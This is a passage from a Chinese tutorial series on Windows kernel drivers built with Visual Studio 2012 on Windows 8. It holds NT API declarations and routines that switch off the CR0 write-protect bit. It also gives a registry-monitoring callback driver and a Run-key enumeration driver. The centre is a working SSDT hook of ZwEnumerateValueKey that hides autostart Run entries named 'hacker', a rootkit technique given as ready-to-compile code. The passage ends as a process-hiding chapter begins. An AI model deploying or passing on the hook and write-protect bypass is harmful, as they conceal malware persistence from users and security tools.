typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
// SYSTEM_MODULE_INFORMATION
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct {
ULONG dwNumberOfModules;
SYSTEM_MODULE_INFORMATION smi;
} MODULES, *PMODULES;
// SYSTEM_BASIC_INFORMATION
typedef struct _SYSTEM_BASIC_INFORMATION {
ULONG Unknown; //Always contains zero
ULONG MaximumIncrement; //一个时钟的计量单位
ULONG PhysicalPageSize; //一个内存页的大小
ULONG NumberOfPhysicalPages; //系统管理着多少个页
ULONG LowestPhysicalPage; //低端内存页
ULONG HighestPhysicalPage; //高端内存页
ULONG AllocationGranularity;
ULONG LowestUserAddress; //地端用户地址
ULONG HighestUserAddress; //高端用户地址
ULONG ActiveProcessors; //激活的处理器
UCHAR NumberProcessors; //有多少个处理器
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
// SYSTEM_INFORMATION_CLASS
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation, // 11
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation, // 0x10 -- 16
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemUnused1,
SystemPerformanceTraceInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemUnused3,
SystemUnused4,
SystemUnused5,
SystemUnused6,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation
} SYSTEM_INFORMATION_CLASS;
#ifndef SECTION_INHERIT
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
#endif
#ifndef LUID
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;
#endif
#ifndef LARGE_INTEGER
typedef union _LARGE_INTEGER {
struct {
ULONG LowPart;
LONG HighPart;
};
struct {
ULONG LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER, *PLARGE_INTEGER;
#endif
#ifndef TIME_FIELDS
typedef struct _TIME_FIELDS {
USHORT Year;
USHORT Month;
USHORT Day;
USHORT Hour;
USHORT Minute;
USHORT Second;
USHORT Milliseconds;
USHORT Weekday;
} TIME_FIELDS, *PTIME_FIELDS;
#endif
NTSTATUS
NTAPI
ZwQuerySystemInformation(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES objectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSYSAPI
NTSTATUS
NTAPI
NtCreateSection(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize OPTIONAL,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
NTSYSAPI
NTSTATUS
NTAPI
NtReadFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
NTSYSAPI
VOID
NTAPI
RtlTimeToTimeFields(
IN PLARGE_INTEGER Time,
OUT PTIME_FIELDS TimeFields
);
NTSYSAPI
BOOLEAN
NTAPI
RtlTimeFieldsToTime(
IN PTIME_FIELDS TimeFields,
OUT PLARGE_INTEGER Time
);
/*
VOID
NTAPI
KeSetSystemTime(
IN PLARGE_INTEGER NewTime,
OUT PLARGE_INTEGER OldTime,
IN BOOLEAN FixInterruptTime,
IN PLARGE_INTEGER HalTime OPTIONAL
);
*/
NTSTATUS
NTAPI
NtQuerySystemTime (
OUT PLARGE_INTEGER SystemTime
);
// 写保护的开&关
void WPOFF()
{
__asm { //去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
}
void WPON()
{
__asm { //恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
#ifdef __cplusplus
}
#endif
#endif
~~~
用Visual studio11在Windows8上开发驱动实现注册表监控和过滤
最后更新于:2022-04-01 10:28:04
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio11与Windows8带来格外不同的新体验
1.启动Vs11
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf153bac99.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现基于callback的注册表监控和过滤技术,请见代码分析
~~~
#include "ntifs.h"
#include "RegistryCallBack.h"
#include <ntstrsafe.h>
NTSTATUS st;
LARGE_INTEGER g_CallbackCookie;
ANSI_STRING astr;
VOID UnloadDriver(PDRIVER_OBJECT DriverObject);
NTSTATUS RegistryCallback(IN PVOID CallbackContext, IN PVOID Argument1, IN PVOID Argument2);
BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, PUNICODE_STRING pPartialRegistryPath,PVOID pRegistryObject);
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
DbgPrint("[RegRoutine]Loading!\n");
DriverObject->DriverUnload = UnloadDriver;
st = CmRegisterCallback(RegistryCallback,NULL,&g_CallbackCookie);
if ( !NT_SUCCESS(st) )
{
DbgPrint("[RegRoutine]CmRegisterCallback Failed!\n");
return st;
}
DbgPrint("[RegRoutine]RegistryCallback Addr:0x%08X\n",RegistryCallback);
DbgPrint("[RegRoutine]Cookie.LowPart:0x%08X Cookie.HighPart:0x%08X\n",g_CallbackCookie.LowPart,g_CallbackCookie.HighPart);
return st;
}
VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
{
CmUnRegisterCallback(g_CallbackCookie);
DbgPrint("[RegRoutine]UnLoading!\n");
}
NTSTATUS
RegistryCallback(
IN PVOID CallbackContext,
IN PVOID Argument1,
IN PVOID Argument2
)
{
int type;
BOOLEAN exception = FALSE;
BOOLEAN registryEventIsValid = FALSE;
UNICODE_STRING registryPath;
UCHAR* registryData = NULL;
ULONG registryDataLength = 0;
ULONG registryDataType = 0;
registryPath.Length = 0;
registryPath.MaximumLength = NTSTRSAFE_UNICODE_STRING_MAX_CCH * sizeof(WCHAR);
registryPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, registryPath.MaximumLength, 'ConT');
if(registryPath.Buffer == NULL)
{
DbgPrint("[RegRoutine]Allocate registryPath failed!\n");
return STATUS_SUCCESS;
}
type = (REG_NOTIFY_CLASS)Argument1;
try
{
switch(type)
{
case RegNtPostCreateKey:
{
PREG_POST_CREATE_KEY_INFORMATION createKey = (PREG_POST_CREATE_KEY_INFORMATION)Argument2;
if( NT_SUCCESS(createKey->Status) || createKey->Status == STATUS_PENDING ) //创建注册表项状态为成功和未决的都记录一下
{
PVOID* registryObject = createKey->Object;
registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, createKey->CompleteName,*registryObject);
if ( registryEventIsValid )
{
RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
DbgPrint("[RegCreated]KeyName:%s!\n",astr.Buffer);
//如果创建的是自启动项,则警告一下
if ( strstr(astr.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") )
{
DbgPrint("[RegCreated]Forbin!\n");
DbgPrint("[RegCreated]ForbinKeyName:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
}
RtlFreeAnsiString(&astr);
}
else
DbgPrint("[RegCreated]Get Key Name Failed!\n");
}
}
break;
//使用PreCreateKey可以阻止key的创建,但是能够作为判断依据的只有一个key的CompleteName,无法得到完整路径来判断
case RegNtPreCreateKey:
{
PREG_PRE_CREATE_KEY_INFORMATION createKey = (PREG_PRE_CREATE_KEY_INFORMATION)Argument2;
RtlCopyUnicodeString(®istryPath,createKey->CompleteName);
RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
DbgPrint("[RegRoutine]PreCreate:%s!\n",astr.Buffer);
if ( !strcmp(astr.Buffer,"新项 #1") )
{
DbgPrint("[RegRoutine]Forbin!\n");
DbgPrint("[RegRoutine]ForbinKeyName:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
return STATUS_INVALID_PARAMETER;
}
RtlFreeAnsiString(&astr);
}
break;
case RegNtDeleteKey:
{
PREG_DELETE_KEY_INFORMATION deleteKey = (PREG_DELETE_KEY_INFORMATION)Argument2;
registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, deleteKey->Object);
if ( registryEventIsValid )
{
RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
DbgPrint("[RegDeletedKey]KeyName:%s!\n",astr.Buffer);
if ( !strcmp(astr.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ljh00001") )
{
DbgPrint("[RegDeletedKey]Forbin!\n");
DbgPrint("[RegDeletedKey]ForbinKeyName:%s!\n");
RtlFreeAnsiString(&astr);
return STATUS_INVALID_PARAMETER;
}
RtlFreeAnsiString(&astr);
}
}
break;
case RegNtSetValueKey:
{
PREG_SET_VALUE_KEY_INFORMATION setvalue = (PREG_SET_VALUE_KEY_INFORMATION)Argument2;
if( MmIsAddressValid(setvalue->ValueName) )
{
registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, setvalue->Object);
if ( registryEventIsValid )
{
RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
DbgPrint("[RegSetValue]ValueParentPath:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
}
RtlUnicodeStringToAnsiString(&astr,setvalue->ValueName,TRUE);
DbgPrint("[RegSetValue]ValueName:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
//输出设置的键值的数据类型和大小,如果类型是REG_SZ则data是一个unicode_string,而数据大小为buffer长度
//加上4字节长度的length和MaxLength再加上2个字节的结尾00的长度
DbgPrint("[RegSetValue]ValueDataType:%X,DataSize:%X\n",setvalue->Type,setvalue->DataSize);
if ( setvalue->Type == 1 ) //Type为REG_SZ,其它类型的数据暂时忽略
{
DbgPrint("[RegSetValue]Data:%ws\n",setvalue->Data);
}
}
}
break;
case RegNtDeleteValueKey:
{
PREG_DELETE_VALUE_KEY_INFORMATION deletevalue = (PREG_DELETE_VALUE_KEY_INFORMATION)Argument2;
if( MmIsAddressValid(deletevalue->ValueName) )
{
registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, deletevalue->Object);
if ( registryEventIsValid )
{
RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
DbgPrint("[RegDelValue]ValueParentPath:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
}
RtlUnicodeStringToAnsiString(&astr,deletevalue->ValueName,TRUE);
DbgPrint("[RegDelValue]ValueName:%s!\n",astr.Buffer);
if ( !strcmp(astr.Buffer,"ljh00001") )
{
DbgPrint("[RegDelValue]Forbin!\n");
DbgPrint("[RegDelValue]ForbinKeyName:%s!\n");
RtlFreeAnsiString(&astr);
return STATUS_INVALID_PARAMETER;
}
RtlFreeAnsiString(&astr);
}
}
break;
case RegNtRenameKey:
{
PREG_RENAME_KEY_INFORMATION renamevalue = (PREG_RENAME_KEY_INFORMATION)Argument2;
if( MmIsAddressValid(renamevalue->NewName) )
{
registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, renamevalue->Object);
if ( registryEventIsValid )
{
RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
DbgPrint("[RegRenameKey]KeyPath:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
}
RtlUnicodeStringToAnsiString(&astr,renamevalue->NewName,TRUE);
DbgPrint("[RegRenameKey]KeyName:%s!\n",astr.Buffer);
RtlFreeAnsiString(&astr);
}
}
break;
default:
break;
}
}
except( EXCEPTION_EXECUTE_HANDLER )
{
DbgPrint("[RegRoutine]Catch a Expection!\n");
exception = TRUE;
registryEventIsValid = FALSE;
}
if(registryPath.Buffer != NULL)
{
ExFreePoolWithTag(registryPath.Buffer, 'ConT');
}
return STATUS_SUCCESS;
}
BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, PUNICODE_STRING pPartialRegistryPath, PVOID pRegistryObject)
{
BOOLEAN foundCompleteName = FALSE;
BOOLEAN partial = FALSE;
NTSTATUS status;
ULONG returnedLength;
PUNICODE_STRING pObjectName = NULL;
//判断object的有效性
if( (!MmIsAddressValid(pRegistryObject)) || (pRegistryObject == NULL) )
{
DbgPrint("[RegRoutine]pRegistryObject Invalid!\n");
return FALSE;
}
//使用ObQueryNameString来得到object对应的名称
status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, 0, &returnedLength );
if(status == STATUS_INFO_LENGTH_MISMATCH) //第一次传的buffer长度为0,ObQueryNameString返回的结果必定是缓冲区大小不足
{
pObjectName = ExAllocatePoolWithTag(NonPagedPool, returnedLength, 'ConT'); //申请内存
if ( pObjectName == NULL ) //申请内存失败则返回FALSE
{
DbgPrint("[RegRoutine]AllocatePool Failed!\n");
return FALSE;
}
//查询名称
status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, returnedLength, &returnedLength );
if(NT_SUCCESS(status))
{
RtlUnicodeStringCopy(pRegistryPath, pObjectName); //拷贝名称
foundCompleteName = TRUE;
}
ExFreePoolWithTag(pObjectName, 'ConT'); //无论查询是否成功都应该释放内存
}
return foundCompleteName;
}
~~~
用Visual studio11在Windows8上开发内核驱动隐藏注册表
最后更新于:2022-04-01 10:28:02
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio11与Windows8带来格外不同的新体验
1.启动Vs11
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf153bac99.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现ring0层隐藏注册表,请见代码分析
~~~
#include <ntddk.h>
extern NTSYSAPI NTSTATUS NTAPI
ObQueryNameString(
IN PVOID Object,
OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);
extern NTSYSAPI NTSTATUS NTAPI
ZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
//声明原有的函数
typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
//定义原函数的指针
REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;
//我们HOOK的函数
NTSTATUS HookZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
PCWSTR HideValue = L"hacker";
// SYSTEMSERVICE 的定义
typedef struct ServiceDescriptorEntry
{
unsigned int * ServiceTableBase; // 关键字段, 指向系统服务分发例程的基地址
unsigned int * ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char * ParamTableBase;
}
ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
PVOID GetPointer( HANDLE handle )
{
PVOID pKey;
if(!handle)
return NULL;
// ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS )
{
pKey = NULL;
}
return pKey;
}
NTSTATUS
HookZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
)
{
PVOID pKey;
UNICODE_STRING *pUniName;
ULONG actualLen;
ANSI_STRING keyname;
NTSTATUS status;
UNICODE_STRING uStrValueName;
PCWSTR ValueName;
status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength );
//得到文件对象的指针
if(pKey = GetPointer( KeyHandle))
{
//分配内存
pUniName = ExAllocatePool(NonPagedPool, 1024*2);
pUniName->MaximumLength = 512*2;
//将pUniName里的内容清空
memset(pUniName,0,pUniName->MaximumLength);
//得到注册表项的路径
if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
{
RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
keyname.Buffer=_strupr(keyname.Buffer);
//判断是不是Run项
if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
{
switch (KeyValueInformationClass)
{
case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
break;
case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION
ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
break;
}
//判断ValueName里的值是否有hacker
//如果有则将函数返回STATUS_ACCESS_DENIED
if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
{
DbgPrint("Hide Value\n");
RtlFreeAnsiString(&keyname);
//释放内存
if(pUniName)
{
ExFreePool(pUniName);
}
return STATUS_ACCESS_DENIED;
}
}
}
}
status = RealZwEnumerateValueKey(KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength);
if(pUniName)
{
ExFreePool(pUniName);
}
return(status);
}
VOID
DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
DbgPrint("驱动已经停止了\n");
(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
DbgPrint("驱动已经加载了\n");
RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey;
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
~~~
用Visual studio11在Windows8上开发内核枚举注册表
最后更新于:2022-04-01 10:27:59
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio11与Windows8带来格外不同的新体验
1.启动Vs11
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf153bac99.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现ring0层枚举注册表,请见代码分析
~~~
#include <ntddk.h>
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Driver Unload");
}
//自定义枚举注册表键值函数
NTSTATUS
MyRegEnumSubValue()
{
UNICODE_STRING RegUnicodeString;
HANDLE hRegister;
ULONG ulSize;
NTSTATUS ntStatus;
UNICODE_STRING uniKeyName;
PKEY_VALUE_FULL_INFORMATION pvbi;
PKEY_FULL_INFORMATION pfi;
ULONG i;
OBJECT_ATTRIBUTES objectAttributes;
//初始化UNICODE_STRING字符串
RtlInitUnicodeString( &RegUnicodeString,
L"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN");
//初始化objectAttributes
InitializeObjectAttributes(&objectAttributes,
&RegUnicodeString,
OBJ_CASE_INSENSITIVE,//对大小写敏感
NULL,
NULL );
//打开注册表
ntStatus = ZwOpenKey( &hRegister,
KEY_ALL_ACCESS,
&objectAttributes);
if (NT_SUCCESS(ntStatus))
{
KdPrint(("Open register successfully\n"));
}
ZwQueryKey(hRegister,
KeyFullInformation,
NULL,
0,
&ulSize);
pfi=(PKEY_FULL_INFORMATION)
ExAllocatePool(PagedPool,ulSize);
//查询注册表
ZwQueryKey(hRegister,
KeyFullInformation,
pfi,
ulSize,
&ulSize);
//开始循环枚举注册表
for(i=0;i<pfi->Values;i++)
{
ZwEnumerateValueKey(hRegister,
i,
KeyValueFullInformation,
NULL,
0,
&ulSize);
pvbi =(PKEY_VALUE_FULL_INFORMATION )
ExAllocatePool(PagedPool,ulSize);
ZwEnumerateValueKey(hRegister,
i,
KeyValueFullInformation,
pvbi,
ulSize,
&ulSize);
uniKeyName.Length = uniKeyName.MaximumLength =
(USHORT)pvbi->NameLength;
uniKeyName.Buffer = pvbi->Name;
//将键值输出
DbgPrint("第%d个键值名称是:%wZ\n",i,&uniKeyName);
//判断键值的类型
if (pvbi->Type==REG_SZ)
{
DbgPrint("键值的类型是:REG_SZ\n");
}
else if (pvbi->Type==REG_MULTI_SZ)
{
DbgPrint("键值的类型是:REG_MULTI_SZ\n");
}
else if (pvbi->Type==REG_DWORD)
{
KdPrint(("键值的类型是:REG_DWORD\n"));
}
else if (pvbi->Type==REG_BINARY)
{
KdPrint(("键值的类型是:REG_BINARY\n"));
}
ExFreePool(pvbi);
}
ExFreePool(pfi);
ZwClose(hRegister);
return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
MyRegEnumSubValue();
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
~~~
用Visual studio2012在Windows8上开发内核中隐藏进程
最后更新于:2022-04-01 10:27:57
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
